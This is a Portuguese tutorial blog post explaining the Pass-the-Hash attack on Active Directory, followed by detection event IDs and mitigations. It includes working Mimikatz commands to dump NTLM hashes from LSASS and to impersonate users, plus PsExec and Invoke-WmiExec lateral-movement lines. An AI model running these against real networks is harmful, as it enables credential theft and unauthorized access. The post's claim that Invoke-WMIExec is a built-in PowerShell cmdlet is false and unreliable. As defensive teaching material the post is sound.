O Active Directory foi introduzido com o Windows 2000 e tornou-se parte integrante das organizações modernas, servindo como a espinha dorsal da infraestrutura de identidade para 90% das empresas da Fortune 1000. Muitas empresas colocam literalmente todo o controle de segurança e sistema de autenticação baseado no Active Directory.
Este post é o primeiro de uma série e tem como foco mostrar quais são os tipos de ataque mais usados contra o Active Directory.
Começarei com a subtécnica Pass-the Hash que é abordado no MITRE ATT&CK framework na sessão “Use of Alternate Authentication Methods (T1550)”
.
MITRE ATT&CK framework
O MITRE ATT&CK Framework é uma base de conhecimento amplamente reconhecida na área de segurança cibernética, que documenta as táticas, técnicas e procedimentos (TTPs) usados por adversários em ambientes corporativos. Criado pela MITRE Corporation, o framework organiza essas informações em matrizes, permitindo que organizações compreendam melhor as ameaças e desenvolvam estratégias de defesa eficazes.
O framework é dividido em táticas, técnicas e subtécnicas:
- Táticas: Representam os objetivos gerais que um invasor busca alcançar, como acesso inicial, execução, persistência, elevação de privilégios, etc.
- Técnicas: Descrevem as maneiras específicas de atingir as táticas.
- Subtécnicas: Detalham variantes específicas de uma técnica.
Essa técnica, conhecida como T1550 na estrutura MITRE ATT&CK, permite que invasores se movam lateralmente dentro de um ambiente e obtenham acesso não autorizado.
Pass-the-Hash (PtH) (T1550.002)
De forma bem simples, o ataque Pass-the-Hash (PtH) é uma subtécnica usada por atacantes para se autenticar em sistemas sem precisar de uma senha em texto claro. Em vez disso, o invasor usa o hash de senha, uma representação matemática gerada pelo protocolo NTLM, para se autenticar.
Mas o que é hash de senha e protocolo NTLM?
Hash de senha
Um hash é uma informação derivada de uma função matemática que pode receber, como entrada, uma informação (como uma senha de 10 dígitos ou o texto deste parágrafo) e retorna uma sequência de caracteres de tamanho fixo.
Como essas funções são projetadas para serem unidirecionais, logo, é computacionalmente inviável para um adversário reverter a saída em texto simples. Sendo assim, o hash de senha ainda é uma prática de segurança prevalente contra ataques de violação de dados.
Essa conversão de senha em hash pode ser diversos protocolos. No caso em questão é feito pelo protocolo NTLM (NT LAN Manager)*.
NTLM (NT LAN Manager)
O NTLM (NT LAN Manager) é um protocolo de autenticação desenvolvido pela Microsoft. Ele foi projetado para substituir métodos mais antigos de autenticação, mas hoje é considerado menos seguro em comparação com tecnologias mais modernas como o Kerberos.
Em resumo:
A essência do ataque Pass-the-hash acontece quando se usa o protocolo NTLM em uma rede para autenticação.
Como o ataque funciona?
- Comprometimento inicial do sistema:
O invasor compromete um sistema inicial para obter acesso. Isso pode ser feito por meio de phishing, exploração de vulnerabilidades, ou outros métodos. - Extração de hashes:
No sistema comprometido, o atacante utiliza ferramentas para extrair os hashes das senhas armazenadas na memória (processo lsass.exe), no SAM (%systemroot%\system32\config\SAM), no arquivo NTDS.dit em controladores de domínio, de um backup ou imagem de um sistema. - Reutilização do hash:
Em vez de tentar decifrar a senha original, o atacante usa o hash diretamente para autenticar-se em outros sistemas ou recursos dentro do mesmo domínio. Isso ocorre porque o NTLM permite a autenticação baseada no hash.
Ferramentas e técnicas
Ataques Pass-the-Hash (PtH) podem ser executados utilizando várias ferramentas disponíveis. Como exemplo, usarei o Mimikatz e cmdlet do PowerShell
Mimikatz
Passo 1: Obtendo o hash da senha
Para obter lista de hashs armazenadas no Windows usando Mimikatz normalmente usa-se o módulo sekurlsa no Mimikatz para extrair informações de autenticação da memória LSASS.
A função “logonpasswords” deste módulo extrai especificamente dados de sessão de login, como hashes de senha salvos e credenciais em cache. Isso pode incluir as informações de logon do usuário atual, bem como informações de outros usuários que fizeram logon na mesma máquina.
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
Authentication Id : 0 ; 301317 (00000000:00049ca7)
Session : UndefinedLogonType from 0
User Name : John.Wick
Domain : COMPANY
Logon Server : DC1
Logon Time : 12/01/2023 15:13:19
SID : S-1-5-21-30101047265-1234636756-10433920-2245
msv :
[00000006] Primary
* Username : John.Wick
* Domain : COMPANY
* NTLM : a1d2746a6brx7362c5c19c56176135ca
Obtendo o hash NTLM, é hora de ir para o segundo passo. É importante notar que o Mimikatz não é a única maneira de obter hashes NTLM. Ferramentas como Gsecdump ou ProcDump também podem ser usados.
Passo 2: Efetuar autenticação usando hash
Neste passo o adversário usa o hash para se passar pelo usuário e obter acesso ao sistema remoto (personificação).
No mimikatz, o comando “sekurlsa::pth” permite que um invasor autentique-se em um sistema remoto usando um hash NTLM capturado da senha de um usuário, sem a necessidade da senha real. Para executar este comando, o invasor deve fornecer apenas os seguintes parâmetros:
● /user: (o nome de usuário),
● /domain: (o nome de domínio) e
● /ntlm: (o hash NTLM da senha do usuário).
Observe que as senhas do Windows não são limitadas apenas ao protocolo NTLM, mas também podem usar algoritmos populares de criptografia de bloco como AES-128 e AES-256 para armazenamento de senhas. Nesses casos, os adversários precisariam usar os parâmetros /aes128: ou /aes256: em vez de /ntlm:
PS> .\mimikatz.exe "sekurlsa::pth /user:Jhon Wick /domain:company.corp /ntlm:a1d2746a6brx7362c5c19c56176135ca"
user : Jhon.Wick
domain : company.corp
program : cmd.exe
impers. : no
NTLM : a1d2746a6brx7362c5c19c56176135ca
Observe como obtivemos acesso facilmente a um sistema remoto sem saber apenas o nome de usuário e o hash NTLM da senha da vítima.
Passo 3: Acessando recursos com a conta
Na terceira etapa, o invasor usa a conta de usuário recém-obtida para expandir seu acesso à rede. Por exemplo, o adversário pode usar um utilitário de linha de comando chamado PsExec para executar a execução remota de código em outro host.
Por exemplo, o invasor pode executar o seguinte comando para executar o processo “cmd.exe” na máquina remota com um endereço IP interno “10.100.109.100”
psexec.exe \\10.100.109.100 cmd.exe /c hostname
É comum que atacantes usem o cmdlet Invoke-WMIExec, que permite a execução de comandos arbitrários em uma máquina Windows remota usando WMI (Windows Management Instrumentation), para realizar um ataque PtH.
Observe que Invoke-WMIExec é um cmdlet PowerShell integrado que está presente em muitos sistemas Windows recentes. Esse recurso permite a execução de comandos arbitrários em uma máquina Windows remota por meio do Windows Management Instrumentation (WMI). Você pode executar Invoke-WMIExec diretamente de um prompt do PowerShell ou integrá-lo a um script do PowerShell.
Invoke-WmiExec -target 10.100.109.100 -hash a1d2746a6brx7362c5c19c56176135ca -username John.Wick -command hostname
Métodos de detecção para o ataque Pass-the-Hash
Abaixo, IDs de eventos conhecidos são adicionados para detectar um possível ataque Pass-the-Hash
Event ID 1 – Process Create.
Campos de descrição de chave: LogonId, ParentProcessId, ParentImage, CurrentDirectory, CommandLine, IntegrityLevel, ParentCommandLine, ParentCommandLine, UtcTime, ProcessId, User, Hashes, Image
Event ID 5 – Process terminated.
Campos de descrição de chave: UtcTime, ProcessId:, Image
Event ID 10 – Process accessed.
Campos de descrição de chave: SourceThreadId, TargetProcessId, GrantedAccess, SourceImage, TargetImage
Event ID 4624 – An account was successfully logged on.
Campos de descrição de chave: Account Name, Account Domain, Logon ID
Event ID 4663 – An attempt was made to access an object.
Campos de descrição de chave: Process ID, Access Mask, Account Domain, Object Name,
Process Name, Object Type, Logon ID, Handle ID
Event ID 4672 – Special privileges assigned to new logon.
Campos de descrição de chave: Security ID, Account Name, Account Domain
Event ID 4688 – A new process has been created.
Campos de descrição de chave: Required Label, Account Domain, Source Process Name, New Process Name, Token Escalation Type, New Process ID, Source Process ID
Técnicas de mitigação para o ataque Pass-the-Hash
Para mitigar o risco de ataques pass-the-hash, as organizações podem empregar várias medidas:
Randomizar senhas de administradores locais – Soluções como a Local Administrator Password Solution (LAPS) da Microsoft também adiciona uma camada extra de segurança, pois reduz a capacidade de um invasor de se mover lateralmente com contas locais que compartilham a mesma senha.
Habilitar o Windows Defender Credential Guard, um recurso que foi introduzido no Windows 10 e no Windows Server 2016. Esta ferramenta aproveita a virtualização para proteger o armazenamento de credenciais e restringir o acesso apenas a processos confiáveis. Detalharei isso em futuro post 🙂
Revogar privilégios de administrador de estações de trabalho de usuários – Isso limita a capacidade de um invasor de executar malware e extrair hashes do LSASS.exe. Além disso, limitar o número de endpoints nos quais os usuários têm privilégios administrativos e evitar privilégios administrativos entre limites de segurança reduz o risco de uma credencial comprometida ser usada para aumentar privilégios.
Desativar o NTLM – Como visto no início do post o protocolo é vulnerável ao PtH, portanto se seus sistemas são compatíveis com protocolos mais recentes como o Kerberos, logo desativar o NTLM é uma ótima opção;
Impedir que contas locais sejam autenticadas pela rede, – Impedir que contas locais sejam autenticadas pela rede é uma prática recomendada para reduzir a superfície de ataque e mitigar riscos como o uso indevido de credenciais locais. Esse bloqueio pode ser feito por meio do uso de SIDs conhecidos em políticas de grupo.